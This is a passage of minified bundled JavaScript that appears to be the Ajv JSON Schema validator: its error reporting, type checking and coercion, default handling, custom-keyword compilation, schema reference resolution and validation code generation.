OqA={keyword:new DY.Name("keyword"),schemaPath:new DY.Name("schemaPath"),params:new DY.Name("params"),propertyName:new DY.Name("propertyName"),message:new DY.Name("message"),schema:new DY.Name("schema"),parentSchema:new DY.Name("parentSchema")};function dY7(A,K,q){let{createErrors:Y}=A.it;if(Y===!1)return DY._`{}`;return _0Y(A,K,q)}function _0Y(A,K,q={}){let{gen:Y,it:z}=A,w=[G0Y(z,q),Z0Y(A,q)];return W0Y(A,K,w),Y.object(...w)}function G0Y({errorPath:A},{instancePath:K}){let q=K?DY.str`${A}${(0,J01.getErrorPath)(K,J01.Type.Str)}`:A;return[gM.default.instancePath,(0,DY.strConcat)(gM.default.instancePath,q)]}function Z0Y({keyword:A,it:{errSchemaPath:K}},{schemaPath:q,parentSchema:Y}){let z=Y?K:DY.str`${K}/${A}`;if(q)z=DY.str`${z}${(0,J01.getErrorPath)(q,J01.Type.Str)}`;return[OqA.schemaPath,z]}function W0Y(A,{params:K,message:q},Y){let{keyword:z,data:w,schemaValue:H,it:J}=A,{opts:O,propertyName:X,topSchemaRef:$,schemaPath:_}=J;if(Y.push([OqA.keyword,z],[OqA.params,typeof K=="function"?K(A):K||DY._`{}`]),O.messages)Y.push([OqA.message,typeof q=="function"?q(A):q]);if(O.verbose)Y.push([OqA.schema,H],[OqA.parentSchema,DY._`${$}${_}`],[gM.default.data,w]);if(X)Y.push([OqA.propertyName,X])}});var oY7=v((nY7)=>{Object.defineProperty(nY7,"__esModule",{value:!0});nY7.boolOrEmptySchema=nY7.topBoolOrEmptySchema=void 0;var V0Y=WuA(),f0Y=B3(),N0Y=Hp(),T0Y={message:"boolean schema is false"};function v0Y(A){let{gen:K,schema:q,validateName:Y}=A;if(q===!1)iY7(A,!1);else if(typeof q=="object"&&q.$async===!0)K.return(N0Y.default.data);else K.assign(f0Y._`${Y}.errors`,null),K.return(!0)}nY7.topBoolOrEmptySchema=v0Y;function E0Y(A,K){let{gen:q,schema:Y}=A;if(Y===!1)q.var(K,!1),iY7(A);else q.var(K,!0)}nY7.boolOrEmptySchema=E0Y;function iY7(A,K){let{gen:q,data:Y}=A,z={gen:q,keyword:"false schema",data:Y,schema:!1,schemaCode:!1,schemaValue:!1,params:{},it:A};(0,V0Y.reportError)(z,T0Y,void 0,K)}});var NZ6=v((aY7)=>{Object.defineProperty(aY7,"__esModule",{value:!0});aY7.getRules=aY7.isJSONType=void 0;var C0Y=["string","number","integer","boolean","null","object","array"],L0Y=new Set(C0Y);function R0Y(A){return typeof A=="string"&&L0Y.has(A)}aY7.isJSONType=R0Y;function y0Y(){let A={number:{type:"number",rules:[]},string:{type:"string",rules:[]},array:{type:"array",rules:[]},object:{type:"object",rules:[]}};return{types:{...A,integer:!0,boolean:!0,null:!0},rules:[{rules:[]},A.number,A.string,A.array,A.object],post:{rules:[]},all:{},keywords:{}}}aY7.getRules=y0Y});var TZ6=v((A27)=>{Object.defineProperty(A27,"__esModule",{value:!0});A27.shouldUseRule=A27.shouldUseGroup=A27.schemaHasRulesForType=void 0;function S0Y({schema:A,self:K},q){let Y=K.RULES.types[q];return Y&&Y!==!0&&tY7(A,Y)}A27.schemaHasRulesForType=S0Y;function tY7(A,K){return K.rules.some((q)=>eY7(A,q))}A27.shouldUseGroup=tY7;function eY7(A,K){var q;return A[K.keyword]!==void 0||((q=K.definition.implements)===null||q===void 0?void 0:q.some((Y)=>A[Y]!==void 0))}A27.shouldUseRule=eY7});var DuA=v((w27)=>{Object.defineProperty(w27,"__esModule",{value:!0});w27.reportTypeError=w27.checkDataTypes=w27.checkDataType=w27.coerceAndCheckDataType=w27.getJSONTypes=w27.getSchemaTypes=w27.DataType=void 0;var x0Y=NZ6(),u0Y=TZ6(),B0Y=WuA(),E3=B3(),q27=hY(),nGA;(function(A){A[A.Correct=0]="Correct",A[A.Wrong=1]="Wrong"})(nGA||(w27.DataType=nGA={}));function m0Y(A){let K=Y27(A.type);if(K.includes("null")){if(A.nullable===!1)throw Error("type: null contradicts nullable: false")}else{if(!K.length&&A.nullable!==void 0)throw Error('"nullable" cannot be used without "type"');if(A.nullable===!0)K.push("null")}return K}w27.getSchemaTypes=m0Y;function Y27(A){let K=Array.isArray(A)?A:A?[A]:[];if(K.every(x0Y.isJSONType))return K;throw Error("type must be JSONType or JSONType[]: "+K.join(","))}w27.getJSONTypes=Y27;function g0Y(A,K){let{gen:q,data:Y,opts:z}=A,w=F0Y(K,z.coerceTypes),H=K.length>0&&!(w.length===0&&K.length===1&&(0,u0Y.schemaHasRulesForType)(A,K[0]));if(H){let J=EZ6(K,Y,z.strictNumbers,nGA.Wrong);q.if(J,()=>{if(w.length)Q0Y(A,K,w);else kZ6(A)})}return H}w27.coerceAndCheckDataType=g0Y;var z27=new Set(["string","number","integer","boolean","null"]);function F0Y(A,K){return K?A.filter((q)=>z27.has(q)||K==="array"&&q==="array"):[]}function Q0Y(A,K,q){let{gen:Y,data:z,opts:w}=A,H=Y.let("dataType",E3._`typeof ${z}`),J=Y.let("coerced",E3._`undefined`);if(w.coerceTypes==="array")Y.if(E3._`${H} == 'object' && Array.isArray(${z}) && ${z}.length == 1`,()=>Y.assign(z,E3._`${z}[0]`).assign(H,E3._`typeof ${z}`).if(EZ6(K,z,w.strictNumbers),()=>Y.assign(J,z)));Y.if(E3._`${J} !== undefined`);for(let X of q)if(z27.has(X)||X==="array"&&w.coerceTypes==="array")O(X);Y.else(),kZ6(A),Y.endIf(),Y.if(E3._`${J} !== undefined`,()=>{Y.assign(z,J),U0Y(A,J)});function O(X){switch(X){case"string":Y.elseIf(E3._`${H} == "number" || ${H} == "boolean"`).assign(J,E3._`"" + ${z}`).elseIf(E3._`${z} === null`).assign(J,E3._`""`);return;case"number":Y.elseIf(E3._`${H} == "boolean" || ${z} === null || (${H} == "string" && ${z} && ${z} == +${z})`).assign(J,E3._`+${z}`);return;case"integer":Y.elseIf(E3._`${H} === "boolean" || ${z} === null || (${H} === "string" && ${z} && ${z} == +${z} && !(${z} % 1))`).assign(J,E3._`+${z}`);return;case"boolean":Y.elseIf(E3._`${z} === "false" || ${z} === 0 || ${z} === null`).assign(J,!1).elseIf(E3._`${z} === "true" || ${z} === 1`).assign(J,!0);return;case"null":Y.elseIf(E3._`${z} === "" || ${z} === 0 || ${z} === false`),Y.assign(J,null);return;case"array":Y.elseIf(E3._`${H} === "string" || ${H} === "number" || ${H} === "boolean" || ${z} === null`).assign(J,E3._`[${z}]`)}}}function U0Y({gen:A,parentData:K,parentDataProperty:q},Y){A.if(E3._`${K} !== undefined`,()=>A.assign(E3._`${K}[${q}]`,Y))}function vZ6(A,K,q,Y=nGA.Correct){let z=Y===nGA.Correct?E3.operators.EQ:E3.operators.NEQ,w;switch(A){case"null":return E3._`${K} ${z} null`;case"array":w=E3._`Array.isArray(${K})`;break;case"object":w=E3._`${K} && typeof ${K} == "object" && !Array.isArray(${K})`;break;case"integer":w=H(E3._`!(${K} % 1) && !isNaN(${K})`);break;case"number":w=H();break;default:return E3._`typeof ${K} ${z} ${A}`}return Y===nGA.Correct?w:(0,E3.not)(w);function H(J=E3.nil){return(0,E3.and)(E3._`typeof ${K} == "number"`,J,q?E3._`isFinite(${K})`:E3.nil)}}w27.checkDataType=vZ6;function EZ6(A,K,q,Y){if(A.length===1)return vZ6(A[0],K,q,Y);let z,w=(0,q27.toHash)(A);if(w.array&&w.object){let H=E3._`typeof ${K} != "object"`;z=w.null?H:E3._`!${K} || ${H}`,delete w.null,delete w.array,delete w.object}else z=E3.nil;if(w.number)delete w.integer;for(let H in w)z=(0,E3.and)(z,vZ6(H,K,q,Y));return z}w27.checkDataTypes=EZ6;var p0Y={message:({schema:A})=>`must be ${A}`,params:({schema:A,schemaValue:K})=>typeof A=="string"?E3._`{type: ${A}}`:E3._`{type: ${K}}`};function kZ6(A){let K=d0Y(A);(0,B0Y.reportError)(K,p0Y)}w27.reportTypeError=kZ6;function d0Y(A){let{gen:K,data:q,schema:Y}=A,z=(0,q27.schemaRefOrVal)(A,Y,"type");return{gen:K,keyword:"type",data:q,schema:Y.type,schemaCode:z,schemaValue:z,parentSchema:Y,params:{},it:A}}});var $27=v((O27)=>{Object.defineProperty(O27,"__esModule",{value:!0});O27.assignDefaults=void 0;var rGA=B3(),a0Y=hY();function s0Y(A,K){let{properties:q,items:Y}=A.schema;if(K==="object"&&q)for(let z in q)J27(A,z,q[z].default);else if(K==="array"&&Array.isArray(Y))Y.forEach((z,w)=>J27(A,w,z.default))}O27.assignDefaults=s0Y;function J27(A,K,q){let{gen:Y,compositeRule:z,data:w,opts:H}=A;if(q===void 0)return;let J=rGA._`${w}${(0,rGA.getProperty)(K)}`;if(z){(0,a0Y.checkStrictMode)(A,`default is ignored for: ${J}`);return}let O=rGA._`${J} === undefined`;if(H.useDefaults==="empty")O=rGA._`${O} || ${J} === null || ${J} === ""`;Y.if(O,rGA._`${J} = ${(0,rGA.stringify)(q)}`)}});var yC=v((Z27)=>{Object.defineProperty(Z27,"__esModule",{value:!0});Z27.validateUnion=Z27.validateArray=Z27.usePattern=Z27.callValidateCode=Z27.schemaProperties=Z27.allSchemaProperties=Z27.noPropertyInData=Z27.propertyInData=Z27.isOwnProperty=Z27.hasPropFunc=Z27.reportMissingProp=Z27.checkMissingProp=Z27.checkReportMissingProp=void 0;var dH=B3(),CZ6=hY(),_a=Hp(),t0Y=hY();function e0Y(A,K){let{gen:q,data:Y,it:z}=A;q.if(RZ6(q,Y,K,z.opts.ownProperties),()=>{A.setParams({missingProperty:dH._`${K}`},!0),A.error()})}Z27.checkReportMissingProp=e0Y;function AXY({gen:A,data:K,it:{opts:q}},Y,z){return(0,dH.or)(...Y.map((w)=>(0,dH.and)(RZ6(A,K,w,q.ownProperties),dH._`${z} = ${w}`)))}Z27.checkMissingProp=AXY;function KXY(A,K){A.setParams({missingProperty:K},!0),A.error()}Z27.reportMissingProp=KXY;function _27(A){return A.scopeValue("func",{ref:Object.prototype.hasOwnProperty,code:dH._`Object.prototype.hasOwnProperty`})}Z27.hasPropFunc=_27;function LZ6(A,K,q){return dH._`${_27(A)}.call(${K}, ${q})`}Z27.isOwnProperty=LZ6;function qXY(A,K,q,Y){let z=dH._`${K}${(0,dH.getProperty)(q)} !== undefined`;return Y?dH._`${z} && ${LZ6(A,K,q)}`:z}Z27.propertyInData=qXY;function RZ6(A,K,q,Y){let z=dH._`${K}${(0,dH.getProperty)(q)} === undefined`;return Y?(0,dH.or)(z,(0,dH.not)(LZ6(A,K,q))):z}Z27.noPropertyInData=RZ6;function G27(A){return A?Object.keys(A).filter((K)=>K!=="__proto__"):[]}Z27.allSchemaProperties=G27;function YXY(A,K){return G27(K).filter((q)=>!(0,CZ6.alwaysValidSchema)(A,K[q]))}Z27.schemaProperties=YXY;function zXY({schemaCode:A,data:K,it:{gen:q,topSchemaRef:Y,schemaPath:z,errorPath:w},it:H},J,O,X){let $=X?dH._`${A}, ${K}, ${Y}${z}`:K,_=[[_a.default.instancePath,(0,dH.strConcat)(_a.default.instancePath,w)],[_a.default.parentData,H.parentData],[_a.default.parentDataProperty,H.parentDataProperty],[_a.default.rootData,_a.default.rootData]];if(H.opts.dynamicRef)_.push([_a.default.dynamicAnchors,_a.default.dynamicAnchors]);let G=dH._`${$}, ${q.object(..._)}`;return O!==dH.nil?dH._`${J}.call(${O}, ${G})`:dH._`${J}(${G})`}Z27.callValidateCode=zXY;var wXY=dH._`new RegExp`;function HXY({gen:A,it:{opts:K}},q){let Y=K.unicodeRegExp?"u":"",{regExp:z}=K.code,w=z(q,Y);return A.scopeValue("pattern",{key:w.toString(),ref:w,code:dH._`${z.code==="new RegExp"?wXY:(0,t0Y.useFunc)(A,z)}(${q}, ${Y})`})}Z27.usePattern=HXY;function JXY(A){let{gen:K,data:q,keyword:Y,it:z}=A,w=K.name("valid");if(z.allErrors){let J=K.let("valid",!0);return H(()=>K.assign(J,!1)),J}return K.var(w,!0),H(()=>K.break()),w;function H(J){let O=K.const("len",dH._`${q}.length`);K.forRange("i",0,O,(X)=>{A.subschema({keyword:Y,dataProp:X,dataPropType:CZ6.Type.Num},w),K.if((0,dH.not)(w),J)})}}Z27.validateArray=JXY;function OXY(A){let{gen:K,schema:q,keyword:Y,it:z}=A;if(!Array.isArray(q))throw Error("ajv implementation error");if(q.some((O)=>(0,CZ6.alwaysValidSchema)(z,O))&&!z.opts.unevaluated)return;let H=K.let("valid",!1),J=K.name("_valid");K.block(()=>q.forEach((O,X)=>{let $=A.subschema({keyword:Y,schemaProp:X,compositeRule:!0},J);if(K.assign(H,dH._`${H} || ${J}`),!A.mergeValidEvaluated($,J))K.if((0,dH.not)(H))})),A.result(H,()=>A.reset(),()=>A.error(!0))}Z27.validateUnion=OXY});var V27=v((M27)=>{Object.defineProperty(M27,"__esModule",{value:!0});M27.validateKeywordUsage=M27.validSchemaType=M27.funcKeywordCode=M27.macroKeywordCode=void 0;var FM=B3(),XqA=Hp(),NXY=yC(),TXY=WuA();function vXY(A,K){let{gen:q,keyword:Y,schema:z,parentSchema:w,it:H}=A,J=K.macro.call(H.self,z,w,H),O=j27(q,Y,J);if(H.opts.validateSchema!==!1)H.self.validateSchema(J,!0);let X=q.name("valid");A.subschema({schema:J,schemaPath:FM.nil,errSchemaPath:`${H.errSchemaPath}/${Y}`,topSchemaRef:O,compositeRule:!0},X),A.pass(X,()=>A.error(!0))}M27.macroKeywordCode=vXY;function EXY(A,K){var q;let{gen:Y,keyword:z,schema:w,parentSchema:H,$data:J,it:O}=A;CXY(O,K);let X=!J&&K.compile?K.compile.call(O.self,w,H,O):K.validate,$=j27(Y,z,X),_=Y.let("valid");A.block$data(_,G),A.ok((q=K.valid)!==null&&q!==void 0?q:_);function G(){if(K.errors===!1){if(D(),K.modifying)D27(A);j(()=>A.error())}else{let M=K.async?Z():W();if(K.modifying)D27(A);j(()=>kXY(A,M))}}function Z(){let M=Y.let("ruleErrs",null);return Y.try(()=>D(FM._`await `),(P)=>Y.assign(_,!1).if(FM._`${P} instanceof ${O.ValidationError}`,()=>Y.assign(M,FM._`${P}.errors`),()=>Y.throw(P))),M}function W(){let M=FM._`${$}.errors`;return Y.assign(M,null),D(FM.nil),M}function D(M=K.async?FM._`await `:FM.nil){let P=O.opts.passContext?XqA.default.this:XqA.default.self,f=!(("compile"in K)&&!J||K.schema===!1);Y.assign(_,FM._`${M}${(0,NXY.callValidateCode)(A,$,P,f)}`,K.modifying)}function j(M){var P;Y.if((0,FM.not)((P=K.valid)!==null&&P!==void 0?P:_),M)}}M27.funcKeywordCode=EXY;function D27(A){let{gen:K,data:q,it:Y}=A;K.if(Y.parentData,()=>K.assign(q,FM._`${Y.parentData}[${Y.parentDataProperty}]`))}function kXY(A,K){let{gen:q}=A;q.if(FM._`Array.isArray(${K})`,()=>{q.assign(XqA.default.vErrors,FM._`${XqA.default.vErrors} === null ? ${K} : ${XqA.default.vErrors}.concat(${K})`).assign(XqA.default.errors,FM._`${XqA.default.vErrors}.length`),(0,TXY.extendErrors)(A)},()=>A.error())}function CXY({schemaEnv:A},K){if(K.async&&!A.$async)throw Error("async keyword in sync schema")}function j27(A,K,q){if(q===void 0)throw Error(`keyword "${K}" failed to compile`);return A.scopeValue("keyword",typeof q=="function"?{ref:q}:{ref:q,code:(0,FM.stringify)(q)})}function LXY(A,K,q=!1){return!K.length||K.some((Y)=>Y==="array"?Array.isArray(A):Y==="object"?A&&typeof A=="object"&&!Array.isArray(A):typeof A==Y||q&&typeof A>"u")}M27.validSchemaType=LXY;function RXY({schema:A,opts:K,self:q,errSchemaPath:Y},z,w){if(Array.isArray(z.keyword)?!z.keyword.includes(w):z.keyword!==w)throw Error("ajv implementation error");let H=z.dependencies;if(H===null||H===void 0?void 0:H.some((J)=>!Object.prototype.hasOwnProperty.call(A,J)))throw Error(`parent schema must have dependencies of ${w}: ${H.join(",")}`);if(z.validateSchema){if(!z.validateSchema(A[w])){let O=`keyword "${w}" value is invalid at path "${Y}": `+q.errorsText(z.validateSchema.errors);if(K.validateSchema==="log")q.logger.error(O);else throw Error(O)}}}M27.validateKeywordUsage=RXY});var v27=v((N27)=>{Object.defineProperty(N27,"__esModule",{value:!0});N27.extendSubschemaMode=N27.extendSubschemaData=N27.getSubschema=void 0;var Qu=B3(),f27=hY();function hXY(A,{keyword:K,schemaProp:q,schema:Y,schemaPath:z,errSchemaPath:w,topSchemaRef:H}){if(K!==void 0&&Y!==void 0)throw Error('both "keyword" and "schema" passed, only one allowed');if(K!==void 0){let J=A.schema[K];return q===void 0?{schema:J,schemaPath:Qu._`${A.schemaPath}${(0,Qu.getProperty)(K)}`,errSchemaPath:`${A.errSchemaPath}/${K}`}:{schema:J[q],schemaPath:Qu._`${A.schemaPath}${(0,Qu.getProperty)(K)}${(0,Qu.getProperty)(q)}`,errSchemaPath:`${A.errSchemaPath}/${K}/${(0,f27.escapeFragment)(q)}`}}if(Y!==void 0){if(z===void 0||w===void 0||H===void 0)throw Error('"schemaPath", "errSchemaPath" and "topSchemaRef" are required with "schema"');return{schema:Y,schemaPath:z,topSchemaRef:H,errSchemaPath:w}}throw Error('either "keyword" or "schema" must be passed')}N27.getSubschema=hXY;function bXY(A,K,{dataProp:q,dataPropType:Y,data:z,dataTypes:w,propertyName:H}){if(z!==void 0&&q!==void 0)throw Error('both "data" and "dataProp" passed, only one allowed');let{gen:J}=K;if(q!==void 0){let{errorPath:X,dataPathArr:$,opts:_}=K,G=J.let("data",Qu._`${K.data}${(0,Qu.getProperty)(q)}`,!0);O(G),A.errorPath=Qu.str`${X}${(0,f27.getErrorPath)(q,Y,_.jsPropertySyntax)}`,A.parentDataProperty=Qu._`${q}`,A.dataPathArr=[...$,A.parentDataProperty]}if(z!==void 0){let X=z instanceof Qu.Name?z:J.let("data",z,!0);if(O(X),H!==void 0)A.propertyName=H}if(w)A.dataTypes=w;function O(X){A.data=X,A.dataLevel=K.dataLevel+1,A.dataTypes=[],K.definedProperties=new Set,A.parentData=K.data,A.dataNames=[...K.dataNames,X]}}N27.extendSubschemaData=bXY;function xXY(A,{jtdDiscriminator:K,jtdMetadata:q,compositeRule:Y,createErrors:z,allErrors:w}){if(Y!==void 0)A.compositeRule=Y;if(z!==void 0)A.createErrors=z;if(w!==void 0)A.allErrors=w;A.jtdDiscriminator=K,A.jtdMetadata=q}N27.extendSubschemaMode=xXY});var yZ6=v((cew,E27)=>{E27.exports=function A(K,q){if(K===q)return!0;if(K&&q&&typeof K=="object"&&typeof q=="object"){if(K.constructor!==q.constructor)return!1;var Y,z,w;if(Array.isArray(K)){if(Y=K.length,Y!=q.length)return!1;for(z=Y;z--!==0;)if(!A(K[z],q[z]))return!1;return!0}if(K.constructor===RegExp)return K.source===q.source&&K.flags===q.flags;if(K.valueOf!==Object.prototype.valueOf)return K.valueOf()===q.valueOf();if(K.toString!==Object.prototype.toString)return K.toString()===q.toString();if(w=Object.keys(K),Y=w.length,Y!==Object.keys(q).length)return!1;for(z=Y;z--!==0;)if(!Object.prototype.hasOwnProperty.call(q,w[z]))return!1;for(z=Y;z--!==0;){var H=w[z];if(!A(K[H],q[H]))return!1}return!0}return K!==K&&q!==q}});var C27=v((lew,k27)=>{var Ga=k27.exports=function(A,K,q){if(typeof K=="function")q=K,K={};q=K.cb||q;var Y=typeof q=="function"?q:q.pre||function(){},z=q.post||function(){};O01(K,Y,z,A,"",A)};Ga.keywords={additionalItems:!0,items:!0,contains:!0,additionalProperties:!0,propertyNames:!0,not:!0,if:!0,then:!0,else:!0};Ga.arrayKeywords={items:!0,allOf:!0,anyOf:!0,oneOf:!0};Ga.propsKeywords={$defs:!0,definitions:!0,properties:!0,patternProperties:!0,dependencies:!0};Ga.skipKeywords={default:!0,enum:!0,const:!0,required:!0,maximum:!0,minimum:!0,exclusiveMaximum:!0,exclusiveMinimum:!0,multipleOf:!0,maxLength:!0,minLength:!0,pattern:!0,format:!0,maxItems:!0,minItems:!0,uniqueItems:!0,maxProperties:!0,minProperties:!0};function O01(A,K,q,Y,z,w,H,J,O,X){if(Y&&typeof Y=="object"&&!Array.isArray(Y)){K(Y,z,w,H,J,O,X);for(var $ in Y){var _=Y[$];if(Array.isArray(_)){if($ in Ga.arrayKeywords)for(var G=0;G<_.length;G++)O01(A,K,q,_[G],z+"/"+$+"/"+G,w,z,$,Y,G)}else if($ in Ga.propsKeywords){if(_&&typeof _=="object")for(var Z in _)O01(A,K,q,_[Z],z+"/"+$+"/"+mXY(Z),w,z,$,Y,Z)}else if($ in Ga.keywords||A.allKeys&&!($ in Ga.skipKeywords))O01(A,K,q,_,z+"/"+$,w,z,$,Y)}q(Y,z,w,H,J,O,X)}}function mXY(A){return A.replace(/~/g,"~0").replace(/\//g,"~1")}});var juA=v((I27)=>{Object.defineProperty(I27,"__esModule",{value:!0});I27.getSchemaRefs=I27.resolveUrl=I27.normalizeId=I27._getFullPath=I27.getFullPath=I27.inlineRef=void 0;var gXY=hY(),FXY=yZ6(),QXY=C27(),UXY=new Set(["type","format","pattern","maxLength","minLength","maxProperties","minProperties","maxItems","minItems","maximum","minimum","uniqueItems","multipleOf","required","enum","const"]);function pXY(A,K=!0){if(typeof A=="boolean")return!0;if(K===!0)return!IZ6(A);if(!K)return!1;return L27(A)<=K}I27.inlineRef=pXY;var dXY=new Set(["$ref","$recursiveRef","$recursiveAnchor","$dynamicRef","$dynamicAnchor"]);function IZ6(A){for(let K in A){if(dXY.has(K))return!0;let q=A[K];if(Array.isArray(q)&&q.some(IZ6))return!0;if(typeof q=="object"&&IZ6(q))return!0}return!1}function L27(A){let K=0;for(let q in A){if(q==="$ref")return 1/0;if(K++,UXY.has(q))continue;if(typeof A[q]=="object")(0,gXY.eachItem)(A[q],(Y)=>K+=L27(Y));if(K===1/0)return 1/0}return K}function R27(A,K="",q){if(q!==!1)K=oGA(K);let Y=A.parse(K);return y27(A,Y)}I27.getFullPath=R27;function y27(A,K){return A.serialize(K).split("#")[0]+"#"}I27._getFullPath=y27;var cXY=/#\/?$/;function oGA(A){return A?A.replace(cXY,""):""}I27.normalizeId=oGA;function lXY(A,K,q){return q=oGA(q),A.resolve(K,q)}I27.resolveUrl=lXY;var iXY=/^[a-z_][-a-z0-9._]*$/i;function nXY(A,K){if(typeof A=="boolean")return{};let{schemaId:q,uriResolver:Y}=this.opts,z=oGA(A[q]||K),w={"":z},H=R27(Y,z,!1),J={},O=new Set;return QXY(A,{allKeys:!0},(_,G,Z,W)=>{if(W===void 0)return;let D=H+G,j=w[W];if(typeof _[q]=="string")j=M.call(this,_[q]);P.call(this,_.$anchor),P.call(this,_.$dynamicAnchor),w[G]=j;function M(f){let N=this.opts.uriResolver.resolve;if(f=oGA(j?N(j,f):f),O.has(f))throw $(f);O.add(f);let T=this.refs[f];if(typeof T=="string")T=this.refs[T];if(typeof T=="object")X(_,T.schema,f);else if(f!==oGA(D))if(f[0]==="#")X(_,J[f],f),J[f]=_;else this.refs[f]=D;return f}function P(f){if(typeof f=="string"){if(!iXY.test(f))throw Error(`invalid anchor "${f}"`);M.call(this,`#${f}`)}}}),J;function X(_,G,Z){if(G!==void 0&&!FXY(_,G))throw $(Z)}function $(_){return Error(`reference "${_}" resolves to more than one schema`)}}I27.getSchemaRefs=nXY});var VuA=v((i27)=>{Object.defineProperty(i27,"__esModule",{value:!0});i27.getData=i27.KeywordCxt=i27.validateFunctionCode=void 0;var B27=oY7(),h27=DuA(),hZ6=TZ6(),X01=DuA(),eXY=$27(),PuA=V27(),SZ6=v27(),TK=B3(),G5=Hp(),A$Y=juA(),Jp=hY(),MuA=WuA();function K$Y(A){if(F27(A)){if(Q27(A),g27(A)){z$Y(A);return}}m27(A,()=>(0,B27.topBoolOrEmptySchema)(A))}i27.validateFunctionCode=K$Y;function m27({gen:A,validateName:K,schema:q,schemaEnv:Y,opts:z},w){if(z.code.es5)A.func(K,TK._`${G5.default.data}, ${G5.default.valCxt}`,Y.$async,()=>{A.code(TK._`"use strict"; ${b27(q,z)}`),Y$Y(A,z),A.code(w)});else A.func(K,TK._`${G5.default.data}, ${q$Y(z)}`,Y.$async,()=>A.code(b27(q,z)).code(w))}function q$Y(A){return TK._`{${G5.default.instancePath}="", ${G5.default.parentData}, ${G5.default.parentDataProperty}, ${G5.default.rootData}=${G5.default.data}${A.dynamicRef?TK._`, ${G5.default.dynamicAnchors}={}`:TK.nil}}={}`}function Y$Y(A,K){A.if(G5.default.valCxt,()=>{if(A.var(G5.default.instancePath,TK._`${G5.default.valCxt}.${G5.default.instancePath}`),A.var(G5.default.parentData,TK._`${G5.default.valCxt}.${G5.default.parentData}`),A.var(G5.default.parentDataProperty,TK._`${G5.default.valCxt}.${G5.default.parentDataProperty}`),A.var(G5.default.rootData,TK._`${G5.default.valCxt}.${G5.default.rootData}`),K.dynamicRef)A.var(G5.default.dynamicAnchors,TK._`${G5.default.valCxt}.${G5.default.dynamicAnchors}`)},()=>{if(A.var(G5.default.instancePath,TK._`""`),A.var(G5.default.parentData,TK._`undefined`),A.var(G5.default.parentDataProperty,TK._`undefined`),A.var(G5.default.rootData,G5.default.data),K.dynamicRef)A.var(G5.default.dynamicAnchors,TK._`{}`)})}function z$Y(A){let{schema:K,opts:q,gen:Y}=A;m27(A,()=>{if(q.$comment&&K.$comment)p27(A);if(X$Y(A),Y.let(G5.default.vErrors,null),Y.let(G5.default.errors,0),q.unevaluated)w$Y(A);U27(A),G$Y(A)});return}function w$Y(A){let{gen:K,validateName:q}=A;A.evaluated=K.const("evaluated",TK._`${q}.evaluated`),K.if(TK._`${A.evaluated}.dynamicProps`,()=>K.assign(TK._`${A.evaluated}.props`,TK._`undefined`)),K.if(TK._`${A.evaluated}.dynamicItems`,()=>K.assign(TK._`${A.evaluated}.items`,TK._`undefined`))}function b27(A,K){let q=typeof A=="object"&&A[K.schemaId];return q&&(K.code.source||K.code.process)?TK._`/*# sourceURL=${q} */`:TK.nil}function H$Y(A,K){if(F27(A)){if(Q27(A),g27(A)){J$Y(A,K);return}}(0,B27.boolOrEmptySchema)(A,K)}function g27({schema:A,self:K}){if(typeof A=="boolean")return!A;for(let q in A)if(K.RULES.all[q])return!0;return!1}function F27(A){return typeof A.schema!="boolean"}function J$Y(A,K){let{schema:q,gen:Y,opts:z}=A;if(z.$comment&&q.$comment)p27(A);$$Y(A),_$Y(A);let w=Y.const("_errs",G5.default.errors);U27(A,w),Y.var(K,TK._`${w} === ${G5.default.errors}`)}function Q27(A){(0,Jp.checkUnknownRules)(A),O$Y(A)}function U27(A,K){if(A.opts.jtd)return x27(A,[],!1,K);let q=(0,h27.getSchemaTypes)(A.schema),Y=(0,h27.coerceAndCheckDataType)(A,q);x27(A,q,!Y,K)}function O$Y(A){let{schema:K,errSchemaPath:q,opts:Y,self:z}=A;if(K.$ref&&Y.ignoreKeywordsWithRef&&(0,Jp.schemaHasRulesButRef)(K,z.RULES))z.logger.warn(`$ref: keywords ignored in schema at path "${q}"`)}function X$Y(A){let{schema:K,opts:q}=A;if(K.default!==void 0&&q.useDefaults&&q.strictSchema)(0,Jp.checkStrictMode)(A,"default is ignored in the schema root")}function $$Y(A){let K=A.schema[A.opts.schemaId];if(K)A.baseId=(0,A$Y.resolveUrl)(A.opts.uriResolver,A.baseId,K)}function _$Y(A){if(A.schema.$async&&!A.schemaEnv.$async)throw Error("async schema in sync schema")}function p27({gen:A,schemaEnv:K,schema:q,errSchemaPath:Y,opts:z}){let w=q.$comment;if(z.$comment===!0)A.code(TK._`${G5.default.self}.logger.log(${w})`);else if(typeof z.$comment=="function"){let H=TK.str`${Y}/$comment`,J=A.scopeValue("root",{ref:K.root});A.code(TK._`${G5.default.self}.opts.$comment(${w}, ${H}, ${J}.schema)`)}}function G$Y(A){let{gen:K,schemaEnv:q,validateName:Y,ValidationError:z,opts:w}=A;if(q.$async)K.if(TK._`${G5.default.errors} === 0`,()=>K.return(G5.default.data),()=>K.throw(TK._`new ${z}(${G5.default.vErrors})`));else{if(K.assign(TK._`${Y}.errors`,G5.default.vErrors),w.unevaluated)Z$Y(A);K.return(TK._`${G5.default.errors} === 0`)}}function Z$Y({gen:A,evaluated:K,props:q,items:Y}){if(q instanceof TK.Name)A.assign(TK._`${K}.props`,q);if(Y instanceof TK.Name)A.assign(TK._`${K}.items`,Y)}function x27(A,K,q,Y){let{gen:z,schema:w,data:H,allErrors:J,opts:O,self:X}=A,{RULES:$}=X;if(w.$ref&&(O.ignoreKeywordsWithRef||!(0,Jp.schemaHasRulesButRef)(w,$))){z.block(()=>c27(A,"$ref",$.all.$ref.definition));return}if(!O.jtd)W$Y(A,K);z.block(()=>{for(let G of $.rules)_(G);_($.post)});function _(G){if(!(0,hZ6.shouldUseGroup)(w,G))return;if(G.type){if(z.if((0,X01.checkDataType)(G.type,H,O.strictNumbers)),u27(A,G),K.length===1&&K[0]===G.type&&q)z.else(),(0,X01.reportTypeError)(A);z.endIf()}else u27(A,G);if(!J)z.if(TK._`${G5.default.errors} === ${Y||0}`)}}function u27(A,K){let{gen:q,schema:Y,opts:{useDefaults:z}}=A;if(z)(0,eXY.assignDefaults)(A,K.type);q.block(()=>{for(let w of K.rules)if((0,hZ6.shouldUseRule)(Y,w))c27(A,w.keyword,w.definition,K.type)})}function W$Y(A,K){if(A.schemaEnv.meta||!A.opts.strictTypes)return;if(D$Y(A,K),!A.opts.allowUnionTypes)j$Y(A,K);M$Y(A,A.dataTypes)}function D$Y(A,K){if(!K.length)return;if(!A.dataTypes.length){A.dataTypes=K;return}K.forEach((q)=>{if(!d27(A.dataTypes,q))bZ6(A,`type "${q}" not allowed by context "${A.dataTypes.join(",")}"`)}),V$Y(A,K)}function j$Y(A,K){if(K.length>1&&!(K.length===2&&K.includes("null")))bZ6(A,"use allowUnionTypes to allow union type 